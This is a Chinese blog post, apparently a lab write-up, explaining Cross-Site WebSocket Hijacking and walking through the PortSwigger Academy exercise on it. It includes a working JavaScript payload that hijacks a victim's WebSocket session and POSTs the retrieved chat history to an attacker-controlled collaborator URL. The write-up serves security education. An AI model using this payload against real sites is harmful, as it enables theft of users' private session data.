前端websocket劫持漏洞(CSWSH)

0x00 什么是ws劫持

在Websocket的业务中,其中常见的漏洞是ws劫持,全称为跨站点CSWSH(Cross-Site WebSocket Hijacking)跨站WebSocket劫持漏洞。

WebSocket概念

WebSocket是通过HTTP启动的双向、全双工通信协议。它们通常用于流式传输数据和其他异步流量的现代Web应用程序中。最常见的是网站中的聊天机器人

有人要问了:那他和同为协议的且使用更普遍的HTTP协议有什么区别呢?

首先呢WebSocket是HTML5推出的新协议,是基于TCP的应用层通信协议,它与http协议内容本身没有关系。

同时WebSocket 也类似于 TCP 一样进行握手连接,跟 TCP 不同的是,WebSocket 是基于 HTTP 协议进行的握手,它在客户端和服务器之间提供了一个基于单 TCP 连接的高效全双工通信信道

WebSocket连接是通过HTTP发起,通常是长期存在的。消息可以随时向任何一个方向发送,并且本质上不是事务性的。连接通常保持打开和空闲状态,直到客户端或服务器发送消息。

简单的说,就是http是无状态的,发送完了就结束了。

WebSocket是一个长期连接,可以一直交互的协议,遇到这种需要频繁交互,长期交互的,这个就比较适合。还有一种在线游戏,服务器主动给你不断发消息这种,也适用。(需要长轮询这种)

只是一个不同的协议。

0x01 漏洞特点

  • **前提:**当 WebSocket 握手请求仅依赖 HTTP cookie 进行会话处理,并且没有CSRF 令牌时

攻击者可以在自己构建一个恶意连接,对应用程序建立跨站点 WebSocket 连接,随后受害者将会与应用程序的会话上下文中处理连接,随之连接向服务器发送任意消息,并读取从服务器收到的消息内容。

  • **不同:**攻击者获得与受感染应用程序的双向交互

  • 伪装成受害用户做敏感操作。

  • 被劫持的应用程序可以进行双向交互。

0x02 实验

为了简单方便,我们直接钱使用 burp的在线靶场即可

https://0aa000f704fed249c17a6c3e00220075.web-security-academy.net/chat

这个是我的地址,大家自己去官网,找那个 Cross-site WebSocket hijacking 实验环境即可

1.这是一个在线商城,有一个聊天机器人

image-20230128160750934

2.抓包看一下,使用的 WebSocket通信

image-20230128160836959

这里有一个问题,在WebSockets历史里,观察到 "READY "有命令就会全部重新请求一遍过去的全部聊天信息。

在HTTP历史中,找到WebSocket握手请求。观察一下,该请求没有CSRF令牌。

image-20230128161334549

那么我们就可以试一下这个CSWSH漏洞,下面是我的聊天地址

https://0aa000f704fed249c17a6c3e00220075.web-security-academy.net/chat

3.我们需要一个服务放我们的脚本,直接理解为XSS平台,那这边lab提供了一个sever

把js脚本写好

<script>
    var ws = new WebSocket('wss://your-websocket-url');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

image-20230128163151580

4.然后相当于去访问这个有 js的url

image-20230128163235167

5.收到消息


这样就可以看到聊天记录的交互信息,算是劫持成功.

0x04 总结

其实简单的将,这个很类与websocket版本的CSRF,同样的需要没有CSRF的token,然后利用这一点,发送一下敏感的请求,做一些敏感操作。

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值